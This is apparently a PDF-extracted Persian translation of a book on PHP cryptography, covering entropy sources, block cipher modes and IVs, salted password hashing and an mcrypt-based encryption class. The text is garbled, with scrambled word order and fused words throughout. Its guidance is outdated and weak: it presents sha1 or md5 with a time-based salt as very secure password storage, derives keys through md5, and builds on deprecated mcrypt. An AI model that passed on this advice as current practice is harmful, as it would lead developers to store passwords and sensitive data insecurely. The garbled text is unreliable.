http://www.faqs.irg/rfcs/rfc1750.html  .پیدا کنید ) 

 یک . اینdev/random/ از است عبارت یونیکس سیستم یک روی بر انتروپی، یا بودن، تصادفی اصلی منبع

 شبه ارقام تولید الگوریتم اساس بر را باینریهای داده از ثابت تقریبای رشته یک که است افزارینرم دستگاه

باشد  مشخصآنها  آغازین مقدار اگر تصادقی، شبههای داده کهاین دلیل کند. به( تولید میPNRG) تصادفی

 زمان طول در شده آوریجمع تصادفیهای داده از بافر یک دارای PNRG الگوریتم هستند، بینیپیش قابل

 کرنل توسط که مختلفهای روتین بندیزمان یا و شبکه رخدادهای قبیل از سیستمی مختلف مقادیر از

 حالت وارد dev/random/ دستگاه شود،خالی  واقعیهای داده از بافر این شوند، هست. اگرمی اجرا سیستم

 شبهی رشته با تا آیدارائه  سیستم از بیشتری آنتروپی که زمانی تا گرددمی معلق خروجی و شودمیمسدود 

 شود.  مخلوط تصادفی

 بافر که صورتی در که دارد وجود هم dev/urandom/ دستگاه یک لینوکس، بر مبتنیهای سیستم در

 با را خود کار dev/urandom/ آن، جای گردد. و به بلوکهنیم حالت وارد شود، خالی سیستم آنتروپی

 سیستم آنتروپی که زمانی تا داد خواهد ادامه PRNG الگوریتم از ناشی تصادفی شبههای داده از استفاده

 در دارند، بالا تصادفیهای داده به نیاز که هاییبرنامه که شودمی باعث امر این که حالی آید.، درارائه  بیشتری

 موجب بالقوه شکلی به تواندمی امر این نکنند، 13هنگ شود،نمی دیده سیستم در خاصی اتفاق که وضعیتی

دارند.  تکیه اطلاعات، موفق سازیمبهمجهت  واقعی بودن تصادفی بر که شود رمزنگاریهای الگوریتم تضعیف

 دارند را نیاز تصادفیهای داده همه کههایی روتین از بسیاری الزامات مطمئنا dev/urandom/ که حالی در

 گیرد.  قرار استفاده مورد امنیت و رمزنگاری با مرتبط اهدافجهت  باید dev/random/ تنها کند،میبرآورده 
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 سیستمی از استفاده حال در یا نیست، تصادفی کافیی اندازه به dev/random/ که زنیدمی حدس اگر

 دارد:  وجود آن آوردنجهت ارائه  روش چندین ندارد، آنتروپیجهت  خوب منبع یک که هستید

 با را تصادفیهای داده که پرل زبان به شده نوشته بازمنبع دایمون یک آنتروپی،ی کننده آوریجمع دایمون

 کارهایی و سیستم درون کاربران تعداد استفاده، موردی حافظه مقدار قبیل از سیستمیهای فعالیت بر نظارت

 تقریبا کیفیت با آنتروپی یک برنامه این شلوغ، سیستم یک روی کند. برمی ایجاد غیره، و دهندمی انجام که

 کند. می تولید را بالا

 دهد، منبعمی ارائه مختلف اشکال در را بالا کیفیت با تصادفیهای داده که مشابه، آنلاین سرویس یک

 امر این است، گرفته قرار خالی فرکانس یک روی بر که است رادیو ، یکrandom.orgسایت  در آنتروپی

 آنلاین سرویس گردد. یکمی تبدیل آنتروپی به و شده بردارینمونه سپس که کندمی ایجاد اتمسفری نویز

 کار سوئیس در زیرزمینی در 85-کریپتان از نمونه یک پرتویی واپاشی است که براساس HotBits دیگر،

 تست و آنتروپی آوریجمع تجهیزات کردن درستجهت  هاییدستورالعمل دارایها سایت این دو کند. هرمی

 باشند.می آمدهارائه  تصادفیهای داده نمودن

 کنند،می استفاده مقاومت یا دیود یک نویز یا و رادیواکتیو استهلاک از یا که تصادفی، ارقام مولدهای خارجی

 شوند.می ساخته تفریحی و علمی اهدافجهت  جهان سراسر در مختلف شرکت تعدادی توسط

 اولیه بردارهای و حالات، ها،بلوک 1.10

 قرار دهندهتوسعهاختیار  در راها انتخاب از عظیمی آرایه یکموجود،  رمزنگاریهای کتابخانه حال، هر به

 داد سه قرار استفاده مورد رمزنگاری خودجهت  باید را الگوریتمی چه تنها اینکه بر علاوه یعنی. دهندمی

 کار هنگامای آگاهانه تصمیمات بتوانید تا باشید داشته اطلاعها آن از باید شما که دارد وجود نیز دیگر مفهوم

 نمایید.  اتخاذ رمزنگاری رمزهای با

 ها بلوک و 14هااستریم 1.10.1

 عمل کلید یک مقابل در ساده متنی پیام یک نمودن XOR با که هستند هاییرمز همان استریمی، رمزهای

 باشد. می رمز استریمی یک از مثال یک RC4کنند. می

ها این که چرا کنندمی محسوبی بلوک رمزهای، ایمداده قرار بحث مورد که رمزنگاریهای الگوریتم سایر

 ضرورت( تقسیم صورت در مورد اخرین بر )افزودن داده از اندازه یکهای بلوک به را ساده متنیهای پیام
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 نوعی تنها و بودهتر ایمن موارد، شوند. اینمی اعمالها بلوک از کدام هر روی بر نوبت به سپس و کنندمی

 هستند.  اهمیت اند( دارایشده تشریح ادامه در )که حالات ،هاآن در که هستند

  15حالات 1.10.2

 رمزنگاری شکل به تبدیل هنگام در 16ساده متن از بلوک یک روی بر عملیات انجامجهت  ممکن حالت چهار

 کنیم. می معرفی راها آن از کدام هر بخش این دارد. در وجود شده،

 ECB)17(  الکترونیک کد کتاب حالت

 تا شوندمی چسبانده هم بهها نتیجه و شودمی رمزنگاری تنهایی به بلوک هر الکترونیک، کد کتاب حالت در

 بلوک هر رمزنگاری که چرا است بالا بسیار کارایی مزیت دارای روش کنند. این ایجاد را شده رمزنگاری متن

 ساده متن در موجود هست: الگوهای نیز بزرگ ضعف یک دارای ولی باشدمی موازی عملیات یک واقع در

 راای پدیده چنین که است ساده بسیار شوند. اغلب ظاهر شده، رمزنگاری متن در الگوهایی عنوان به توانندمی

 از ویکیپدیا عالی ترسیم زیر 2-1 گیرد. تصویرمی قرار رمزگذاری مورد تصویر یک که هنگامی نماییم مشاهده

 الگوی )که آنی شده رمزنگاری ویرایش و چپ سمت در Tux اصلی تصویر که میدهد نشان را مشکل این

 است.  گرفته قرار راست سمت شود( درمی دیده راحتی به آن در باقیمانده

 ECB حالت رمزنگاری در الگو مشکل از ویکیپدیا :ترسیم 2-1 تصویر
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 الگوهایها آن در که است مناسب تصادفیهای داده رمزنگاریجهت  ECB حالت الگو، مشکل این دلیل به

ارائه  ساده متن خصوص در را اندکی بسیار اطلاعات باشند، داشته وجود اگر شده رمزنگاری متن در موجود

های بلوکهای داده از استفاده با را الگو مشکل این دهیممی قرار بحث مورد ما که بعدی حالت دهند. سهمی

 بلوک هر موفق رمزگشایی دیگر، عبارت کنند. بهمی حل کنونی، بلوک درها داده نمودن مبهمجهت  قبلی

 دارد.  آن از قبلهای بلوکی همه یا و بخشی رمزنگاری به بستگی

  خروجی بازخورد حالت

 نامیده keystream که کندمی نگهداری را داده از بلوک سری یک خروجی، بازخورد حالت یا OFBحالت 

 تشکیل را بعدی بلوک تا شودمی رمزنگاری رمز، کلید یک از استفاده با keystream از بلوک شوند. هرمی

شود.  ایجاد رمزی متن تا شودمی XOR ساده متنهای بلوک با شد، ایجاد keystream که دهد. هنگامی

 بالایی بسیار مقاومت دارای حالت این شود،می ایجاد متن از مستقل صورت به keystream که دلیل این به

 سایر رمزگشایی بر تاثیری امر این باشد، خرابهای بیت حاوی بلوک یک اگر است؛ انتقال خطاهای برابر در

 در یا و ساده متن در موجود الگوهای خصوص در اطلاعاتی هیچ OFB داشت. حالت نخواهدها بلوک

 دستکاری معرض در همچنین است، مقاوم خطا برابر این دلیل، که در به ولی دهدنمی بروز را کپیهای بلوک

 باشد. می رمزی، متن دستکاری طریق از پیام تشخیص قابل غیر

  رمز بازخورد حالت

 تولید جای به حال، این کند. بامی استفاده keystream یک از نیز ،رمز بازخورد حالت یا CFBحالت 

 با نتیجه ادامه درشود. می تولید قبلی، رمز متن بلوک رمزنگاری با keystream متوالی بلوک هر آن، مستقل

 دستکاری از جلوگیری مزیت دارای امر شود. این ایجاد رمز متن تا شودمی XOR کنونیی ساده متن بلوک

 بلوکجهت  کلید یک عنوان به رمز متن از بلوک هر که چرا باشدمی انتقال هنگام در شده رمزنگاری متن

 خصوص در را اطلاعاتی است ممکن CFB بازخورد، مکانیسم کار روش دلیل به کند. ولیمی عمل بعدی

 باشند.  یکسان یا و مشابه است ممکن که دهد بروز مجاورهای بلوک

  رمز بلوکی زنجیره حالت

 از قبل رمز متن بلوک مقابل در را ساده متن بلوک هر رمز، بلوکی زنجیره حالت یا CBCحالت  نهایت، در

 چرا کنندمی محسوب حالت ترینایمن را روش نماید. اینمی رمزنگاری را نتیجه سپس و کندمی XOR آن،

 در تغییر نوع هر و شودمی مخفی ساده، متنهای بلوک این رمزنگاری از قبل ساده متن در الگو نوع هر که

 از باشند. جهت بسیاری رمزگشایی قابل غیر آن، از بعدهای بلوک که شودمی باعث رمزی، متن بلوک

 کنید.  استفاده CBC حالت از باید احتمالا شما ها،برنامه
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  18آغازین بردارهای 1.10.3

 بلوک هر رمزنگاری ،ECB حالت استثنای به که، کنیدمی مشاهده شما مختلف، حالات پیرامون ما بحث در

 حالات، از کدام هر آن، با شانسی برخورد جای به چه؟ اول بلوک دارد. ولی بستگی قبلی بلوک رمزنگاری به

 به که است باینریی داده از تصادفیی تکه یک که باشد( میIV) آغازین بردار یک ، نیازمند ECB-غیر

 افزودنی یا سازتصادفی یک عنوان به مهم کردعمل یک عنوان به IV کند. اینمی عمل« صفر» بلوک عنوان

 رمزنگاری یکسان کلید یک از استفاده با که کپی متنیهای پیام کهای گونه به کندمی عمل رمزنگاری

 نباشند. ی یکسان رمزی متن دارای اند،شده

جهت  باید آغازین بردار همین که چرا کند،می رو به رو خاص وضعیت یک با را کاربر امر این حال، این با

 که هنگامی مانند به آورد،ارائه  بیرونی منبعی از توانمی را داده شود. این داده ارائه پیام موفق رمزگشایی

MD5 عنوان به پیام یک زمانی برچسب IV این عموما ولی شودمی استفاده IV پیام از قبل به تنها 

 امر گیرد. این قرار استفاده مورد رمزگشاییجهت  تا شودمی جداسازی سپس و شدهاضافه شده، رمزنگاری

 موردی بلوک حالت و کلید الگوریتم، نوع با همراه باید و باشدمی گیرنده و فرستنده بین توافق نوعی نیازمند

 گیرد.  قرار توافق و بررسی تحت استفاده،

 خلاصه 1.11

جهت  دسترس در سازیدرهم و رمزنگاریهای الگوریتم عظیمی حوزه تا کردیم تلاش فصل، این در

 دهیم. قرار بررسی مورد را PHP نویسانبرنامه

 در و نمودیم آغاز را خود بحث سازیدرهم سپس غیرمتقارن( و و )متقارن رمزنگاری تعریف با ابتدا در ما

 دادیم.  قرار بررسی و بحث مورد را الگوریتم قدرت ادامه،

 و )متقارن رمزنگاریجهت  اول بود،ها الگوریتمی مجموعه کل خصوص در بررسی یک فصل این قلب

نیستند.  واقعی مناسبی استفادهجهت  که نامرتبط الگوریتم دو نهایت در و سازیدرهم سپس غیرمتقارن(،

 قرار مدنظر را آن دسترسی قابلیت و آنهای روش الگوریتم، یک ازای تاریخچه تا نمودیم تلاش مورد هر در ما

 وها پرداختیم: استریم رمزنگاری در موجود مفهوم سه به تصادفی، اعداد پیرامون بحث سپس به  دهیم.

 که دهیممی نشان آنجا در که است دوم فصلای جهت زمینه فصل، آغازین. این بردارهای و حالات ها،بلوک

 داد.  قرار عملیی استفاده مورد را فصل این در بررسی مورد الگوریتم بهترین توانمی چگونه
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 رمزنگاری از : استفاده دوم فصل 2

 ما. این برای آن نوشتن که است بوده سخت شماای برای اندازه همان به اول فصل خواندن  زنیممی حدس

 یک که چرا است، بالایی بسیار اهمیت دارای اطلاعات این ولی -بود نظری و عمیق اطلاعات از سرشار فصل

 است. ما نموده ارائه دهیم، انجام بعدی فصل چند و فصل این در خواهیممی که کاریجهت  را پایه و مبنا

 اساس و پایه این ساختن . بهPHP بر مبتنی کاربردیهای برنامه در نظری اطلاعات این از استفاده با اکنون

 پردازیم می

 سخت خیلی خود خودی به سازیدرهم و رمزنگاری بین انتخاب کردیم، بیان اول فصل در که طورهمان

 آن نیازمند پس آورید،آن به دست  یرمز شده محتوای از را ساده متن محتوای خواهیممی نیست: اگر

 را آن توانیدمی صورت این غیر در کنید )رمز نگاری دو سویه(؛ رمزنگاری را خودهای داده که هستید

 تا است ممکن که است عمل در سازیدرهم یا رمزنگاری از کنید )رمزنگاری یک سویه(. استفادهسازی درهم

 کنیم: می راهنمایی زیر، موضوعات و موارد خصوص در را شما ما فصل، این باشد. در پیچیده زیادی حد

 ها آن نمودنسازی درهم با عبور رمزهای از حفاظت •

  حساسهای داده متقارن رمزنگاری •

 OpenSSL  توابع با نامتقارن رمزنگاری •

 ها آن نمودنسازی درهم با مهمهای داده اعتبار تایید •

 عبورهای کلمه امن نگهداری 2.1

 رمزهای از حفاظت چگونگی از عبارتها، برنامه دهندگان توسعه برابر در مباحث ترینمعمول از یکی مطمئنا

 برنامه این که دارد وجود برنامه یک و کاربر یک بین ضمنی اعتماد یک معمولا واقع، کاربران است. در عبور

 از کاربران از بسیاری که آنجا داد. از نخواهد نشان کاربران سایر به کاربر مورد در را شخصی اطلاعات نوع هیچ

 در زیادی حد تا خصوصی موارد حفظ ازها آن انتظار کنند،می استفاده برنامه چندین در یکسان رمزعبور یک

، نفوذ موردی برنامه یکی دادهپایگاه که حالی در حال، این باشد. بامی شده، ذخیره عبور رمزهای خصوص

 فاش حمله این در شما کاربران رمزعبور که صورتی در بود، خواهد شماجهت  وحشتناک مشکل یک مطمئنا

 در کاربر یک رمزعبور از حفاظت نکته، این به توجه شد. با خواهدتر سخت وتر پیچیده بسیار وضعیت شود،

 باشد.  بالایی بسیار اولویت دارای باید شما،ی برنامهی دادهپایگاه

 بالاترین دارای که چیست. چیزی واقعا رمزعبور یک که دهیمنمی مسئله این به خاصی اهمیت ما معمولا،

 که باشد چیزی با منطبق است کرده وارد بار این کاربر که چیزی هر اینکه تایید از است عبارت است اهمیت

 به هم که است، سازیدرهم توسط حفاظتبرای  گزینه یک رمزعبور یک دلیل، این ایم. بهکرده ذخیره قبلا ما

برای  ساده گام یک در را کار این ()sha1 و ()md5 توابع ،PHP )در گرفت کار به را آن توانمی سادگی
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 آن،ی شده رمزگشایی ویرایش به نیز سیستم مدیر حتی که است ایمن قدر آن هم دهند( ومی انجام شما

 کاربری است، ایمن حد این تا که دلیل همین به دقیقا که باشید داشته خاطر به حال، این ندارد. با دسترسی

 ممکن باشد. بعضی شدهسازی درهم اگر بگیرد پس را آن تواندنمی است کرده فراموش را خود رمزعبور که

اجبار  که برقرار کنید سردرگمی و امنیت بین را تعادلی یک باید شما ولی بدانند، مزیت یک را امر این است

 . شودباعث می کاربرانجهت  معمولا،  جدید رمزعبور یک ایجاد

 رمزعبور یک دارای کاربر دو دارد. اگر وجود روش این در عبور رمزهای از محافظت برای مهمی نکته یک

 تواندمی امر بود. این خواهند شمای دادهپایگاه در یکسان رمزعبورسازی درهم یک دارای آنگاه باشند، یکسان

 وی کند؛تر میساده بسیار را مهاجم یک کار که چرا کند مواجه خطر با را کاربر یک خصوصیی حیطه

 )که معمول رمزعبورهایهای سازیدرهم از شده محاسبه پیش از جدول یک از بالاتری احتمال با تواندمی

 مقایسه شدهذخیره رمزعبورهای با راها آن تا نماید شود( استفادهمی ایجاد سیستمهای دیکشنری از اغلب

 آید: می ادامه در امر اینجهت  ممکن حل راه کند. دو

 چنین در منطبق رمزعبور جوی و جست که کنید اجرا و ایجاد را رمزعبوریهای سیاست باید شما •

 آن نیازمند که هاییسیاست یعنی کنند،تر میسخت بسیار راای شده محاسبه پیش از جدول

 احتمالاتی همه شامل تا باشد معمولی دیکشنری یک ازتر بزرگ خیلی جدول این که هستند

 است، ممکن رمزعبورهای همه شامل که را جستجو جدول یک ضروریی اندازه عامل باشد. دو

 الفبایی کاراکتر 62 که آنجا شده. از استفاده کاراکترهای گوناگونی و رمزعبور نمایند: طولمی تعیین

 کاملا کاراکتری هشت رمزعبور یک نوشتاری(، علائم شمارش )بدون دارد وجود ممکن عددی و

 و است بزرگ بسیار عدد یک باشد. این داشته ممکن مقدار 62 توان به هشت تواندمی تصادفی

 مورد سختی به اغلب رمزعبور بود. سیاست خواهد جستجو جدول نوع هر ظرفیت از فراتر بسیار

 قطعه یک که شوند مجبور اگر کرد خواهند شورش کاربران از بسیاری که چرا گیردمی قرار مذاکره

 رمزعبور مدیریت و تولیدهای برنامه دیگر، سوی بسپارند. از خاطر به نیز را دیگر هویتی اطلاعات

 مرورگرهای اغلب در که عبور رمزهای سپاری خاطر به ویژگی طورهمین دهند،می کاهش را بار این

 شبه رمزعبور یک باشد، تصادفی کاملا است ممکن آلایده رمزعبور که دارد. هرچند وجود مدرن

 صورت در باید عبور رمزهای تمامی بنابراین باشد؛ خوب خیلی رمزعبور یک تواندمی نیز تصادفی

 خود رمزعبور الزامات شما اینکه به توجه باشند. بدون داشته خود در تصادفی المان تعدادی امکان

 بدهد. هر را قوی رمزعبورهایی اجازه حتما باید شمای برنامه کنید،می تعیین آزادانه حد چه تا را

 امنیت به که را کاربر یک حتما کندمی محدود رقمی چهار PIN یک به را رمزعبورها که سایتی

 نمود. خواهد نگران دهد،می اهمیت

 شود. این اضافه شده ارائه رمزعبور هر به salt یک که دهیممی پیشنهاد ما بیشینه، امنیت برای •

salt  و کاربرینام همراه به که فراخوانی قابل نتیجه در و تغییر غیرقابل فیلد یک از است عبارت 
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 یا است شده ایجاد رکورد این که زمانی قبیل از شود،می ذخیره دادهپایگاه در کاربر یک رمزعبور

 مختلف کاربران است، متفاوت کاربر، هر salt که دلیل این فرد. به به منحصر ID یک احتمالا

 رمزعبورها اینهای سازیدرهم اینکه از ترس بدون باشند داشته یکسانی رمزعبورهای است ممکن

 salt یک از استفاده باشند. ماتر ایمن رمزعبورها، این که شودمی باعث امر بود. این خواهد یکسان

 ویرایش یکی ذخیره با رمزعبور یک از داد. حفاظت خواهیم نشان بعدی، 19اسکریپت در را

 این مدیریت است. ادغام سرراست تقریبا فرآیند یک دادهپایگاه یک در آن از شدهسازی درهم

 مستند اینی گستره از فراتر بسیار و استتر پیچیده اندکی کامل، ورود سیستم یک در رمزعبور

 ارائه را هاییبخش آن تنها بلکه دهیمنمی ارائه را کامل اسکریپت یک اینجا در ما باشد. بنابراین،می

 بالا، در شده بیانهای ملاکجهت  کاربری شدهثبت رمزعبور بررسی با مرتبط که کنیممی

 مدیریت نوع هر اینجا، در ما که است توجه باشند. )شایانمی آنی ذخیره و آن نمودنسازی درهم

 هر که گیریممی نادیده را حالت حفظجهت  جلسه ایجاد نوع هر و کاربری شده پیشنهاد کاربری نام

 بود.(  خواهند نیاز مورد تولیدی، 20لاگین سیستم یک در مطمئنا موارد این دو

                                                   

 

 

19 Script 

20 Login 
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 قطعه این اول بخش در شما ورودی، نمودن آماده و دادهپایگاه به اتصالجهت  عملکردها ایجاد از بعد

شود. می وارد لاگین درخواست فرم یک در که دارید، کار و سر جدید کاربر یک رمزعبور مدیریت با اسکریپت
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های ملاک اساس بر را کاربر ارسالی رمزعبور و کنیدمی ذخیره متغیر صورت به را کاربر ارسالی موارد شما

 را مشکلات کنید،می آماده راها پیام از آرایه یک شما شود، پیدا مشکلی کنید. اگرمی بررسی شده، گفته

 salt$ یک شما است، قبول قابل عبور رمز دهید. اگرمی ارائه را لاگین درخواست فرم دوباره و دهیدمی نشان

 با را کلیی رشته این کنید. سپس،می اضافه ارسالی رمزعبور به را آن و نموده ایجاد کنونی زمان اساس بر را

 مدیر نموده، ایجاد را MySQL دستور سپس،کنید. میسازی درهم ()sha1 ایمن بسیار تابع از استفاده

 شود.  برنامه وارد تا کنیدمی هدایت را شده وارد تازه کاربر و نموده، اضافه دادهپایگاه به را جدید کاربر
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 آیا که کنید بررسی نیست نیازی که چرا استتر ساده اندکی قبلی، کاربر یکی شده ثبت رمزعبور با کارکردن

 اولینجهت  رشته این که دادید انجام زمانی را کار این خیر)شما یا کندمی رعایت را شده مشخصهای ملاک

 رمزعبور شما شد(. دوباره، داده نشان قبلیی قطعه در که طورهمان شد، ارائه کاربر عبور رمز عنوان به بار

 یک از استفاده با امر این که نمایید،می جو و جست را دادهپایگاه و کنیدمی ذخیره متغیر یک در را شده ارائه

 را یsalt هم تا دهدمی اجازه شما به امر دهید. اینمی انجام شده، ارائه کاربری نام از تمیزشده ویرایش

ی شده ذخیره مقدار هم و گرفته قرار استفاده مورد اولیه رمزعبور نمودنسازی جهت درهم که کنید فراخوانی

 رمزعبور ازسازی درهم کنید( یکمی جدید کاربر یکجهت  که کاری مانند )به شما را. سپس،سازی درهم آن

 کنید. درمی ایجاد نتیجه، روی بر ()sha1 تابع از استفاده با و شده فراخوانی salt افزودن با را شده داده

ی مقایسه از کنید. بعدمی مقایسه اید،کرده ذخیره قبلا که هشی با را شدهسازی ی درهمنتیجه تنها نهایت،

 کنید. می وارد برنامه به را کاربر شما موفق،

( جهت salt و رمزعبور کاربری، نام )شامل دادهپایگاه رکوردهای دادن نشان با را کندمی کار روش این اینکه

 که نمود مشاهده توانمی سادگی اند. بهنموده ارائه را یکسانی اولیه رمزعبور یک که دهیممی نشان کاربر دو

 از که دلیل این به هستند متفاوت هم با زیادی حد تا یکسان، عبور رمز دو این از شده ذخیرههای ویرایش

salt (salt) نخواهد وی یابد، دسترسی فایل این به بتواند مهاجم یک اگر حتی علاوه، است. به شده استفاده 

 آورد. ارائه  آن، از راای استفاده قابل رمزعبور که توانست
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جهت  موثر روش یک شما،ی دادهپایگاه درها آنی ذخیره از قبل عبور رمزهای نمودنسازی درهم بنابراین،

 این که است این ماندمی باقی که مشکلی باشید. تنها داشته راها آن که هنگامی باشد،ها میآن از حفاظت

 است ممکن موارد این صورت این در و باشند، نشده ارسال شماجهت  ساده متن صورت به است ممکن موارد

 گیرند.  قرار مهاجم، فرد برداریبهره مورد انتقال، مسیر در

  حساسهای داده از حفاظت 2.2

 محافظت تا باشدها برنامه دهندگان توسعهتر جهت بزرگ نیاز یک است ممکن حساسهای داده از حفاظت

ی پرونده و اعتباریهای کارتی است: شماره بالاتر ها،داده گوناگونی و کمیت عبور. مطمئنا، رمزهای ازکردن 

 دسترسی نیازمند اعتماد، مورد رفینط تمامی که آنجا هستند. ازها داده نوع این از معمول مورد دو بیماران،

 باشد. می سویه دو ماهیت دارای که است رمزنگاری ها،آن از حفاظتجهت  روش تنها هستند، داده نوع این به

 mcrypt : توابعPHP در متقارن رمزنگاری 2.2.1

 از استفاده با راها داده رمزگشایی یا رمزنگاریجهت  PHP در mcrypt داخلی توابع از استفاده ما اینجا، در

جهت  و نیست فعال PHP در فرضپیش صورت به Mcryptدهیم. می نشان یکسان، مشترک وکلید  یک

-- تنظیمی سویچ با که هستید PHP باینری یک و libmcryptی کتابخانه نیازمند شما آن از استفاده

with-mcrypt باشد.  شده کامپایل 

mcrypt کلاس یک باشد. مامی فراوانیهای گزینه دارای PHP الگوریتم سه تنها از استفاده که ایمنگاشته را 

 این . در Blowfish و 3DES ، AES یعنی دهدمی نشان را اول فصل در بحث مود متقارن رمزنگاری

 حالت کلید، طولجهت  منطقی فرضپیش مقادیر داریم اعتقاد که کنیممی استفاده چیزی از ما مثال،

 باشند.، میآغازین بردار مدیریت وای بلوکه
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 به کلاس این از استفاده که دهیممی نشان شما به ابتدا در ولی پردازیم،می کلاس خود به دیگری لحظه چند

است صورت چه

 

 از یکی با منطبق باید که دهیممی نشان algorithm$ یکتای آرگومان یک با را mcrypt.php کلاس ما

 بیانی آماده mcrypt شیء این ساخت، از بعد”. blowfish“ یا” aes”، “tripledes“باشد: بعدی  موارد

 یک در را مقوله این است ممکن شما تولید باشد. اسکریپتمی ()setkey تابع از استفاده با شما رمز کلید

بپذیرد.  استاندارد، ورودی یا HTTPS POST طریق از را مقدار یک است ممکن یا بیابد شده حفاظت فایل

 متن ورودی ()encrypt پیام. روش یک رمزگشایی یا رمزنگاریرسید:  خواهیم اصلی مطلب به ما نهایت، در

 ( تبدیلbase64انکدینگ همچنین )و شده رمزنگاری خروجی به را آن و پذیرفته باینری( را )یا ساده

 کلید )اگر و نموده دریافت را base64 انکد شده با یا شده رمزنگاری ورودی ()decrypt کند. تابعمی

 کند. تولید می را شده رمزگشایی باشد( خروجی صحیح

 دهد. می نشان را مثال اسکریپت این خروجی 1-2تصویر
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 mcryptDemo.php اسکریپت از آمدهارائه  : خروج1-2 تصویر

 

 را آنهای بخش ما است، پیچیده و طولانی کلاس، این که دلیل این به. بپردازیم کلاس خود به دهید اجازه

 شوید.  آشنا آن چارچوب با واقعی، کد به کردن نگاه از قبل تا کنیممی معرفی اینجا در

  عمومی و خصوصی متغیرهای •

  شیء نمودن : آغاز  ()construct تابع •

  کلیدی ذخیره و : ایجاد ()setkey تابع •

  پیام واقعی رمزنگاری : انجام ()encrypt تابع •

  شده رمزنگاری پیام : رمزگشایی  ()decrypt تابع •

  شیء نمودن : نابود  ()destruct تابع •

 پردازیم: می کد خود به اکنون
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 اعدادی تولیدکننده که است این دهدمی انجام سازینمونه هنگام در mcrypt کلاس که کاری اولین

 را آغاز بردار تا دارید نیاز آن به شما که زمانیجهت  باشد کاری آماده کهای گونه به کندمی آغاز را تصادفی

 تبدیل ثابتی موارد از یکی به را آن و کندمی تایید را ما الگوریتم انتخاب کلاس، این ادامه کنید. در ایجاد

 کلید یک با Rijndael هب داخلی صورت به” aes“ که کنید دارند. توجه انتظار mcrypt توابع که کندمی

 از” Blowfish“ است. همچنین، الگوریتم اینجهت  کلیدی اندازهی بیشینه که شودمی تبدیل بیتی 256

 این توسط اختصاصی صورت به امر این که هرچند است بیت 448 که کندمی استفاده کلیدی بیشینهی اندازه

 استفاده بیتی 168 کلید یک از Triple DES رود،می انتظار که شکلی است. به نشده مشخص ثابت، مقدار

 کند. می

 ()mcrypt توابع که است داخلی21 دستگیره یک که کندمی ایجاد را mcrypt منبع یک سازنده ادامه، در

 دو نیازمند ()mcrypt_module_open کنند. همچنین،می استفاده آن از خود کار جهت اجرای PHP در

 استفاده مورد کهای بلوک حالت کردیم( و مشخص قبلا )که شودمی استفاده که است: الگوریتمی آرگومان

 این کردیم، بیان اول فصل در که طورهمان که چرا گذاریممی CBC روی راای بلوک حالت گیرد. مامی قرار

 است.  امنیت بالاترین باای گزینه معمولا مورد
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 دو هر که کند،می مشخص را شود استفاده باید که کلیدی و آغازین بردارهای اندازه mcrypt نهایت، در

 که کندمی ارائه را گراییدرون توابع mcryptی کتابخانه دارند. خوشبختانه، بستگی الگوریتم بهها این

 . داشته باشند رمز، حالت و الگوریتم از ترکیبی هرجهت  را مقادیر این توانندمی

 پردازیم: می کلید مدیریت به ادامه در

 

 نوع به را آن تا میدهد انجام آن روی بر را عملیات تعدادی و نموده اتخاذ را رمز مقدار یک ()setkey روش

دارد. جهت  انتظار رمزنگاری/رمزگشایی کلید یک عنوان به mcryptی کتابخانه که نماید تبدیل مقداری

 چند یا یک از که صورت این به شودمی داده بسط لازم، طول تا و شده سازیمبهم رمز، مقدار این کار، شروع

ای گونه به شودمی تبدیل باینریی داده به آمدهارائه  هگزادسیمال شود. مقدارمی استفاده ()md5 عملیات

ی اندازه به مقدار این نهایت، باشد. در مقادیر از بیتی 256 کاملی گستره یک دارای بایدعامل  هر که

 در را مناسبی رمزنگاری/رمزگشایی کلید ما که شود. اکنونمی تعدیل رمزنگاری، الگوریتم کلیدی بیشینه

 دهند. می انجام را رمزنگاری کارهای که رسیممی هاییروش واقعی کاربرد به ما داریم، اختیار
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 ما که تصادفی اعدادی کننده تولید طریق از که است این دهدمی انجام ()encrypt روش که چیزی اولین

 از که طورکند. همانمی ایجاد استفاده،جهت  را تصادفی آغازین بردار یک نمودیم، آماده را آن سازنده، در

 متن نمودن تصادفیجهت  مقدار این آورید،می خاطر به اول فصل در آغازین بردارهای خصوص در ما بحث

 موضوع یک عنوان به )یا هیچگاه یکسان،ی ساده متن یک کهای گونه به شودمی استفاده بلوک اولینی ساده

 منبع ()encrypt ادامه، کند. درنمی ایجاد مختلف، موقعیت دو در را یکسانی رمزی هرگز( متن عملی،

mcrypt ایجاد را حافظه بافرهای از مجموعه یک که معناست این به ساده زبان به که کند،می آغاز را 

 خرابیجهت  احتمالیی نقطه یک نظری صورت به آغازسازی دارند. این نگه را آغازین بردار و کلید تا کندمی

 منابع اگر رسد. بنابراینمی اعتماد قابل کاملا نظر به عمل در هرچند نباشد(، دسترس در حافظه )اگر است

mcrypt آنگاه شوند، آغاز نتوانند encrypt() متوقف را اجرا و نموده فراخوانی را کنندهتخریب روش 

 اسکریپت،برای  که چرا نماید، ایجاد را بنیادی خطای یک همواره باید رمزنگاری روتین یک کند. خرابیمی

 دهد.  ادامه خود کار به ها،داده رمزگذاری بدون که نیست ایمن
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کند. می ارائه را باینری رمز متن و دهدمی انجام را واقعی رمزنگاری ،()mcrypt_generic عجیب نام با تابع

 به که کندمی فراخوانی را سازیپایان روتین ()encrypt نیستند، نیاز مورد دیگر حافظه بافرهای که آنجا از

mcrypt آزاد دارد، خود در را ارزشمند رمز کلید که راای حافظه سپس و داده انجام را بازنویسی که گویدمی 

 نماید. 

 خیلی )که کندمی آماده واقعی جهان در استفادهجهت  را تولیدشده تازه رمز متن ()encrypt روش مابقی

 مرحله کند. اینمی اضافه رمز متن از قبل به را آغازین بردار ابتدا، ندارد(. در خام باینریهای داده با قرابتی

 گیرد. از قرار استفاده مورد رمزگشاییجهت  باید یکسانی دقیقا IV که چرا است، بالایی بسیار اهمیت دارای

 اندکی عملی ارزش باشد،می CBC عملیات از بلوک اولینجهت  آنتروپی یارائه آن، هدف تنها که آنجا

 متن شود. سپس، ارسال شده، رمزنگاری متن همراه به ایمن صورت به تواندمی و دارد مهاجم یکجهت 

 همچنین و دهدمی افزایش درصد 30 حدود را آن طول که شودمی انکد base64 صورت به شده رمزنگاری

 یا شده داده نمایش صفحه روی بر تواندمی که کندمی تبدیل ASCIIی ساده متن از رشته یک به را آن

 قابلیت تا کندمی تقسیم کاراکتری 64 خطوط به را آن ()encrypt دیگر، مزیت یک عنوان شود. به ایمیل

 ببرد.  بالاتر را آن نمایش

 شکلی به دهدمی انجام ()encrypt که را کارهاییی همه ()decrypt روش رود،می انتظار که طورهمان

